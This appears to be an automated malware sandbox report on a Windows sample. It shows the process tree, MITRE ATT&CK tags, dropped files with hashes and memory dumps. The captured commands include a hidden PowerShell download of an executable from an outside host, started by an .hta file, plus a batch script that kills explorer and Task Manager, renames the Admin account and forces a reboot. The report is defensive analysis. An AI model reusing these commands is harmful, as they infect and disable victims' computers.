"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5616 /prefetch:1
2⤵
PID:2100

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3140

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1576

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Downloads\Ci_pBL9wTn-e_O4CKVlChw\myguy.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
PID:5676

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://french-cooking.com/myguy.exe', 'C:\Users\Admin\AppData\Roaming\18885.exe');
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5760

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Downloads\Ci_pBL9wTn-e_O4CKVlChw\myguy.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
PID:6004

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://french-cooking.com/myguy.exe', 'C:\Users\Admin\AppData\Roaming\34692.exe');
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6068

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x50c 0x3f4
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5688

C:\Users\Admin\Downloads\000.exe
"C:\Users\Admin\Downloads\000.exe"
1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1004

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\windl.bat""
2⤵
PID:4624

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im explorer.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5712

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im taskmgr.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4676

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic useraccount where name='Admin' set FullName='UR NEXT'
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1488

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic useraccount where name='Admin' rename 'UR NEXT'
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5068

C:\Windows\SysWOW64\shutdown.exe
shutdown /f /r /t 0
3⤵
PID:2196

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39af055 /state1:0x41c64e6d
1⤵
PID:1416

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
1KB

MD5
4280e36a29fa31c01e4d8b2ba726a0d8

SHA1
c485c2c9ce0a99747b18d899b71dfa9a64dabe32

SHA256
e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

SHA512
494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
5a10efe23009825eadc90c37a38d9401

SHA1
fd98f2ca011408d4b43ed4dfd5b6906fbc7b87c0

SHA256
05e135dee0260b4f601a0486401b64ff8653875d74bf259c2da232550dbfb4f5

SHA512
89416a3f5bf50cd4a432ac72cd0a7fb79d5aeb10bdcc468c55bbfa79b9f43fab17141305d44cb1fe980ec76cc6575c27e2bcfcbad5ccd886d45b9de03fb9d6d7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
c1a3c45dc07f766430f7feaa3000fb18

SHA1
698a0485bcf0ab2a9283d4ebd31ade980b0661d1

SHA256
adaba08026551b1b8f6c120143686da79f916d02adbef4a8d1c184e32a19fd48

SHA512
9fc93f01ab4b14f555791d757ffe881787cc697102547c61847552e597e206e70c6d35fedff559c72a0a67d1b95e769095ecb0a8a7d4f07cf58a7a0d57d3e9f4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
2KB

MD5
2df5a75a51d348fdc243927876040b2d

SHA1
d329ff37709ac43de78d5674c89eab0719df044f

SHA256
434bfe95791e0ca85742171d4f4414fac8b115570696e73b7dd610206d95939f

SHA512
280e5fed2b07898cdaa8994cbc32e2b2dd96e0de6379e1ac619a494ad6f313f820adfb05538ee3e65d2078f13bc8299db2e84727e984a5a215a82c34d1344e7b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
648B

MD5
8dcb3f2a26b8a5db486855d875344210

SHA1
df200cca87e648d47525de8fa0666dd79683f3fc

SHA256
9367322462fec457ae2b50fa5a22ce6d20edfdca83b31cbfdac679f7ffed33db

SHA512
4e93c4792a2746e714800afe0c75168680590aa92f67b06d09f4e476d9e925004b7c2e96fe251b416f4d4f95e6f1c00bde9df478334778737187df3bcad0b23d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe56f4d4.TMP
Filesize
48B

MD5
fef1c0d191b6b1c787966de1eb2b23be

SHA1
b7fedfdeb94e651778be7f34fe0373c74ea5dfc0

SHA256
cff583113898880be47fa33062899ceced73cc76a9448df000a62d94b58543b7

SHA512
3b1d7525c764aaf31a2c006bbc5b74b36babf8bf45917114f204c35ddbae1dc1c1f3c8e1fd4791eb717af5a696804524afb3c89e4d64c9505bb3cec39d743fd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Filesize
70KB

MD5
e5e3377341056643b0494b6842c0b544

SHA1
d53fd8e256ec9d5cef8ef5387872e544a2df9108

SHA256
e23040951e464b53b84b11c3466bbd4707a009018819f9ad2a79d1b0b309bc25

SHA512
83f09e48d009a5cf83fa9aa8f28187f7f4202c84e2d0d6e5806c468f4a24b2478b73077381d2a21c89aa64884df3c56e8dc94eb4ad2d6a8085ac2feb1e26c2ef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\MANIFEST-000001
Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Microsoft Edge.lnk
Filesize
2KB

MD5
ef850d9cf647fec0950dee4ba93de9e7

SHA1
b275ec4e5baa766db33a90177b261b37c66a4efa

SHA256
62609c1001cd6090d1ec0f38afee48bd6947eea3024289393998cf23986d58d8

SHA512
dbeaab509e000cd586261a77571492394f21e2548947d0b107b8c60930889d37bd84e3d499a1b5b85a4c11d0d4911520aaf68b165468bfe46aa9e4368d19de86

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
Filesize
111B

MD5
285252a2f6327d41eab203dc2f402c67

SHA1
acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

SHA256
5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

SHA512
11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
Filesize
1KB

MD5
17629d658141696736f6d81bcf3e9497

SHA1
6f5dc91744728b18c5751553cd7b26a2ba14dae1

SHA256
57b97c4092e8490ef033a2b63ca99127acd4a881bdded4de3ef19167c686bc60

SHA512
d75048e4fd9b6f84ebe4b30ccd33383a11c741bbbaaaaf2c97bd768b9f9b821ab065e2ca39201214114bbb870262c440d4858242de47425eb61e82f0407576a4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
4KB

MD5
94f5325f0f39dedf9c428986f45ea17a

SHA1
ebd7c269eb27d512cd4e35b52f7317614ee2d5dc

SHA256
77f18207bc9b2ddade46feb7646d5fd781a0b5b1245daa9e9ad4ac08e14c900c

SHA512
8f2fede198aa5218a995a87613e5cdbc8c6ef2c0ef4b2edce7fe46a67f3b58016dd2bdc9fa753de455ede0b261759d15c68e70ec9783df4c8a6a633d7e134439

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
5KB

MD5
ad6b38ff3d10d2e12c0fb100eefb85fe

SHA1
6c76dca3219df2b18ffd5855bc83c103927a0945

SHA256
d33b4979ec6c599d1403aa895189b307d23cc357ede361097fb932057cea0653

SHA512
aa70c557d29f441f7c525cc57379f5e0bc03285153b60d9a3673547615c6a59f81f5427451072594dda0fd480862c9a81391339c6fcc8130d7333d7d823650cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
6KB

MD5
13cb7a4641ddf54fb3314c7a33dc9a6c

SHA1
bc1e8db549324e74d831bccbc9e714b2177a1a7c

SHA256
01afd8466fbf3cb64911034fde5ad0013fd1025da40745b052bab84be0a90ab8

SHA512
d9edb9978502c898e1c386eef85ebcc848c149969acb5aca63afb105e5d37018660963d2e21252fca96dba36c214334db28ebe7b7f2ea7d50658222eff2f4a71

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
7KB

MD5
505acbdb842a8bfc22de1d6b39d504dd

SHA1
efb0a58856099bc7fb0dbb58114f2baeec89a149

SHA256
cad11e8091c36fb3cb5bbf827f3c17fdf2bf8ec9debf99da360c93375f1bb086

SHA512
e43c4bce8af52b41a070ca3ec03ca561046d13cb33dfa4ce464a6b29c396ecb3bb3f083a4fb03facc243e47feed8f4dc02fa095c073011005372f8f6186be35c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Filesize
6KB

MD5
3c5d54a2eda56d6543a0af7f73ccfede

SHA1
2733715a677bede0eb4a28fe07acc811ae236afa

SHA256
ce9109be7fdf3fe26560e6df8a96bb8fa4a9ad45d0fa022cfa6de72279ccd8d0

SHA512
2ac6f9e90f062c2d4258adcdc2f1a0ca248fa6a33ae7c23629ec71eebc7b453f31412a46d059ff286a50522bf8fa4da92ab99cd6dfde37830779463fb03134a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Filesize
24KB

MD5
5edab6d3ffbeee247ccb4423f929a323

SHA1
a4ad201d149d59392a2a3163bd86ee900e20f3d9

SHA256
460cddb95ea1d9bc8d95d295dd051b49a1436437a91ddec5f131235b2d516933

SHA512
263fa99f03ea1ef381ca19f10fbe0362c1f9c129502dc6b730b076cafcf34b40a70ee8a0ee9446ec9c89c3a2d9855450609ec0f8cf9d0a1b2aebdd12be58d38c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\CURRENT
Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
Filesize
2KB

MD5
2d141a5764484a00d812355d136f2fe2

SHA1
5649b2d0c8b4b4dd1f62c23e15d474ba857cd1a3

SHA256
8633995262e0e860364773934cb485017f59e7719e2e67e16a09238ac0655de3

SHA512
d2031233f9cfd1d702f8c305b6890ecd18e57b702c6368d81fa2db3c0a2368e39ef052bd14b2cfa0fad2960608a0748c654b086ebde5d76a7ed5c2163ccd66ce

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
Filesize
1KB

MD5
161631e4ae4a60d29090e5d9aa7c5288

SHA1
dfb495632c515cccefdb4dfc8eeaa4eac4d67965

SHA256
5d69190ee6003bc33fde80358d8a162354c1fcf123dc99e99144e0f8b598a34b

SHA512
bbb53382ce3351cbcda7517a99840fc5c69e193b10712001c27f75923948899f6b42823f7dd7b48454aca4cdfd1700260344c5cbb0f2dfb4ff302dd951ca78bf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
Filesize
2KB

MD5
92e18fba6e9924265502d7ea6ef152c1

SHA1
5fc38cc56cf3864bdd6c4143fbaea8bfa6029289

SHA256
26da473d81b5fff8b7986a05ba780ee8bf36b2a9214bc61b7547a0f72be8525c

SHA512
09c5fb0c30e10985bedf2507633d1891481e69840b6bbd348fda006fd51838cfb85054eadedb543efa1fb124814fb86f875f6a2c617ed3d90fd9891c820aff39

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity
Filesize
2KB

MD5
9a8ff6481b8a5408cc19896008752be8

SHA1
468ef66938de4400a7c941ef5bc500bd9ca6743d

SHA256
dc3c31739f312dbeaf3bf5481575fe53a4292a94ddeff2ff253b06c4b402439c

SHA512
87135af9d0301efca5a6b0569568e2ca19e9161ee3ed92fceef5c4a89532196a0f86ff50b1d40ce88f0249416efa6e535a6fc260776bdd0f17a7adf558d6a822

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe56e321.TMP
Filesize
1KB

MD5
525005c578ee98a8947093dec24a02e8

SHA1
ebecb014176acf8809a4ecf63029ba503d24ce3f

SHA256
aa6c88f4226c669c4d2e98bf569a983ff96bd73e4070dae14fae5570fd21b129

SHA512
617806426d9b74cc94c07c2199d9b4648fd98e74a8f5a1b28a63b5936fe8d7c877efe998f053d59949183a14242a458a92b012fdb86140917a3b62c5a9e86d54

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
13KB

MD5
00e9a8496a2258e8066d0853bcd049d1

SHA1
c3448dcaeefa2eec87984b1a1780eb1641af7bbf

SHA256
e5eaa72512f5eb3eeca9596fc9f94f0e02e929909a1b48da6d6b817af70e3ac9

SHA512
2bdc906fd05ca086b69df74959d205f9697c9801bfb9d9aabcc9a8dea14c2b3524af990d7ce0a210202abe2fbd12ebdca7a52e64ce79924ec1b3272c14dfc5ab

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
9KB

MD5
0e4fb31da14764119bac3e38796390a0

SHA1
d3651bc98bc76318a7e03ea753746afc597223fe

SHA256
24cd8e8849ea861e0e5265446142412d0f056b6d59e8210cfba4705653039b8e

SHA512
f81498b3d511b9c0bef9ea3488879fcb861ca3bfd5e930719f20b9395b84c32967d45a38e98f477dc37a0de11bada8f8f117453c116cc28a28e929a393db0535

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
13KB

MD5
716b6e247bf9f48c42100c4b0a49e52a

SHA1
c7bacaf2c0d665ef1e4fd5a57e7b9d58db2eb774

SHA256
109a64f33a7acc5b1d2252b84d3dd1a6af1f4f0e5aa3d314dc6c36ccc682ea5a

SHA512
5058393eafbdc0e4df410d56d618383655a3618e4e4d7307e18b2cfa33e12136a613ded1d760b767f0004aeb2eb5b2e74d967f9c898359c7e70531b998777491

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Filesize
12KB

MD5
9e7764382df23bba262a5ce38d4cffe6

SHA1
3647428f9a38dc9f5a1bce0adbb59013c63e1256

SHA256
a11ec500b766cd3776023231321861b0b6bf4ac6cfecb78928bf0e4ddfb132a4

SHA512
0299a7f07d1a73709e94ee6d61e61ea9f8d4168819d854bce4fe3e3c2745a7f01d1f795320ab43adb13d8691adad63c6ad58cb7f768ec1326fbeb263f804aa41

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
Filesize
512KB

MD5
b5bf7ab5419ad1a9d1809da39a2ded64

SHA1
77046550e36f7131c2e20892398485bb8a2f6d27

SHA256
e4c6199af0e1e5c5d8771005e989889a97c1b12484c239df6f1a408e5eb4b7d7

SHA512
87ffc84a0507491ad0d2db2f5bc904b95284d72e56465afbfdc562704f28198279a72cd127508fb8313b9be037da1d6cb8893e9fccf19cb6c1c99b6b804d8f73

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML
Filesize
9KB

MD5
7050d5ae8acfbe560fa11073fef8185d

SHA1
5bc38e77ff06785fe0aec5a345c4ccd15752560e

SHA256
cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b

SHA512
a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
7274a07d1b80de6f66290b47588cee3b

SHA1
d926b384806c755fe6b9d03f68852765aabb5703

SHA256
5eba7517357473e4d5d7ede75c3768069c578d2b0023473fd67f76b373430de8

SHA512
b7813fea9091298d48c87b259b0d4473ddc4480667f82ed6b5f8bdfa600590dcbfb1d62cbaca649dcf321d85cb786bf62d48826ab04297a22b7c88439b94bcf3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
18KB

MD5
c5c54b380f57c913542f55379c708de3

SHA1
39206bf0c181ef47892f9010def99dfc9f1aa7fa

SHA256
0695c0068388857408df49e99e3e7e071fe4bbc4b69b9b5d732e10e32ae6a24c

SHA512
0a34dc4226c1fff243cdaca0b5d3be7f3916756985277a8a0baadb6c7ba3bd7db5becc73569a43278ffc67bb2dcd0e032d761de95fdceb379e0d2b12b90b1308

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1k30wbdg.sjf.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\one.rtf
Filesize
403B

MD5
6fbd6ce25307749d6e0a66ebbc0264e7

SHA1
faee71e2eac4c03b96aabecde91336a6510fff60

SHA256
e152b106733d9263d3cf175f0b6197880d70acb753f8bde8035a3e4865b31690

SHA512
35a0d6d91178ec10619cf4d2fd44d3e57aa0266e1779e15b1eef6e9c359c77c384e0ffe4edb2cde980a6847e53f47733e6eacb72d46762066b3541dee3d29064

Download Submit
C:\Users\Admin\AppData\Local\Temp\rniw.exe
Filesize
76KB

MD5
9232120b6ff11d48a90069b25aa30abc

SHA1
97bb45f4076083fca037eee15d001fd284e53e47

SHA256
70faa0e1498461731f873d3594f20cbf2beaa6f123a06b66f9df59a9cdf862be

SHA512
b06688a9fc0b853d2895f11e812c48d5871f2793183fda5e9638ded22fc5dc1e813f174baedc980a1f0b6a7b0a65cd61f29bb16acc6dd45da62988eb012d6877

Download Submit
C:\Users\Admin\AppData\Local\Temp\text.txt
Filesize
396B

MD5
9037ebf0a18a1c17537832bc73739109

SHA1
1d951dedfa4c172a1aa1aae096cfb576c1fb1d60

SHA256
38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48

SHA512
4fb5c06089524c6dcd48b6d165cedb488e9efe2d27613289ef8834dbb6c010632d2bd5e3ac75f83b1d8024477ebdf05b9e0809602bbe1780528947c36e4de32f

Download Submit
C:\Users\Admin\AppData\Local\Temp\v.mp4
Filesize
81KB

MD5
d2774b188ab5dde3e2df5033a676a0b4

SHA1
6e8f668cba211f1c3303e4947676f2fc9e4a1bcc

SHA256
95374cf300097872a546d89306374e7cf2676f7a8b4c70274245d2dccfc79443

SHA512
3047a831ed9c8690b00763061807e98e15e9534ebc9499e3e5abb938199f9716c0e24a83a13291a8fd5b91a6598aeeef377d6793f6461fc0247ec4bbd901a131

Download Submit
C:\Users\Admin\AppData\Local\Temp\windl.bat
Filesize
771B

MD5
a9401e260d9856d1134692759d636e92

SHA1
4141d3c60173741e14f36dfe41588bb2716d2867

SHA256
b551fba71dfd526d4916ae277d8686d83fff36d22fcf6f18457924a070b30ef7

SHA512
5cbe38cdab0283b87d9a9875f7ba6fa4e8a7673d933ca05deddddbcf6cf793bd1bf34ac0add798b4ed59ab483e49f433ce4012f571a658bc0add28dd987a57b6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms
Filesize
3KB

MD5
83c335004ce15808eef6471578943703

SHA1
ced3ab5911e2d9feef10d3abd1ee616c5d2ae895

SHA256
abe42f261269cc9a5ed06799747dcbdcd3d06fed697e4cf8c26faa628e42a1c1

SHA512
8a577c8a5d50fa1397e274aaea43279d6ee033dc975147351b073901f1f92d13215608031627c8fef7b6b4d58cbe9c36147c4d10ba443e84bbec39dcdb32546c

Download Submit
C:\Users\Admin\Desktop\Microsoft Edge.lnk
Filesize
2KB

MD5
6f379175c2c6f11480c061cbd889f0c7

SHA1
a5e8ea9d83f2d0174aa879091f091eb4f980881e

SHA256
db6f5e1d2f4c1f29004eddf5d3ead369d3f27fc8c747273da64608a1f3e18295

SHA512
b127aa9b7b7906f89d0439bd85a6b05ab9fe59380fece4560d4c4d0a3bcf5caf793d18580f6b90bb9a4517a9a5e248c8f7af1de8a7aa9e162339b5dcfeb66e6f

Download Submit
C:\Users\Admin\Desktop\UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N1XT.txt
Filesize
396B

MD5
9037ebf0a18a1c17537832bc73739109

SHA1
1d951dedfa4c172a1aa1aae096cfb576c1fb1d60

SHA256
38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48

SHA512
4fb5c06089524c6dcd48b6d165cedb488e9efe2d27613289ef8834dbb6c010632d2bd5e3ac75f83b1d8024477ebdf05b9e0809602bbe1780528947c36e4de32f

Download Submit
C:\Users\Admin\Downloads\000.zip
Filesize
119KB

MD5
f5d73448dbe1ec4f9a8ec187f216d9e5

SHA1
6f76561bd09833c75ae8f0035dcb2bc87709e2e5

SHA256
d66c4c08833f9e8af486af44f879a0a5fb3113110874cc04bd53ee6351c92064

SHA512
edbdc1d3df9094c4e7c962f479bb06cdc23555641eeb816b17a8a5d3f4d98f4d1d10299fd2f9152d30e3fa9e5b12c881fd524e75612e934b287109492ee1520b

Download Submit
\??\pipe\LOCAL\crashpad_1916_MSHANWBPXSDHYELJ
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/1004-799-0x0000000008A60000-0x0000000008A70000-memory.dmp

Filesize
64KB

Download
memory/1004-802-0x0000000008A60000-0x0000000008A70000-memory.dmp

Filesize
64KB

Download
memory/1004-1632-0x00000000056C0000-0x00000000056D0000-memory.dmp

Filesize
64KB

Download
memory/1004-1633-0x00000000056C0000-0x00000000056D0000-memory.dmp

Filesize
64KB

Download
memory/1004-810-0x000000000BA20000-0x000000000BA30000-memory.dmp

Filesize
64KB

Download
memory/1004-809-0x0000000008A60000-0x0000000008A70000-memory.dmp

Filesize
64KB

Download
memory/1004-774-0x0000000000620000-0x0000000000CCE000-memory.dmp

Filesize
6.7MB

Download
memory/1004-775-0x0000000005CF0000-0x0000000006294000-memory.dmp

Filesize
5.6MB

Download
memory/1004-808-0x0000000008A60000-0x0000000008A70000-memory.dmp

Filesize
64KB

Download
memory/1004-783-0x00000000056C0000-0x00000000056D0000-memory.dmp

Filesize
64KB

Download
memory/1004-807-0x000000000BA20000-0x000000000BA30000-memory.dmp

Filesize
64KB

Download
memory/1004-794-0x00000000056C0000-0x00000000056D0000-memory.dmp

Filesize
64KB

Download
memory/1004-795-0x0000000008A00000-0x0000000008A38000-memory.dmp

Filesize
224KB

Download
memory/1004-796-0x00000000089C0000-0x00000000089CE000-memory.dmp

Filesize
56KB

Download
memory/1004-806-0x000000000BA20000-0x000000000BA30000-memory.dmp

Filesize
64KB

Download
memory/1004-800-0x0000000008A60000-0x0000000008A70000-memory.dmp

Filesize
64KB

Download
memory/1004-801-0x0000000008A60000-0x0000000008A70000-memory.dmp

Filesize
64KB

Download
memory/2984-147-0x0000026972B80000-0x0000026972B90000-memory.dmp

Filesize
64KB

Download
memory/2984-143-0x0000026972B80000-0x0000026972B90000-memory.dmp

Filesize
64KB

Download
memory/2984-133-0x0000026975D00000-0x0000026975D22000-memory.dmp

Filesize
136KB

Download
memory/2984-144-0x0000026972B80000-0x0000026972B90000-memory.dmp

Filesize
64KB

Download
memory/5760-457-0x0000000004610000-0x0000000004620000-memory.dmp

Filesize
64KB

Download
memory/5760-472-0x0000000005B50000-0x0000000005B6E000-memory.dmp

Filesize
120KB

Download
memory/5760-473-0x0000000007390000-0x0000000007A0A000-memory.dmp

Filesize
6.5MB

Download
memory/5760-458-0x0000000004610000-0x0000000004620000-memory.dmp

Filesize
64KB

Download
memory/5760-456-0x0000000004C50000-0x0000000005278000-memory.dmp

Filesize
6.2MB

Download
memory/5760-455-0x0000000004580000-0x00000000045B6000-memory.dmp

Filesize
216KB

Download
memory/5760-461-0x00000000054E0000-0x0000000005546000-memory.dmp

Filesize
408KB

Download
memory/5760-474-0x0000000006050000-0x000000000606A000-memory.dmp

Filesize
104KB

Download
memory/5760-460-0x0000000005470000-0x00000000054D6000-memory.dmp

Filesize
408KB

Download
memory/5760-459-0x0000000004B90000-0x0000000004BB2000-memory.dmp

Filesize
136KB

Download
memory/6068-489-0x0000000004B30000-0x0000000004B40000-memory.dmp

Filesize
64KB

Download
memory/6068-488-0x0000000004B30000-0x0000000004B40000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads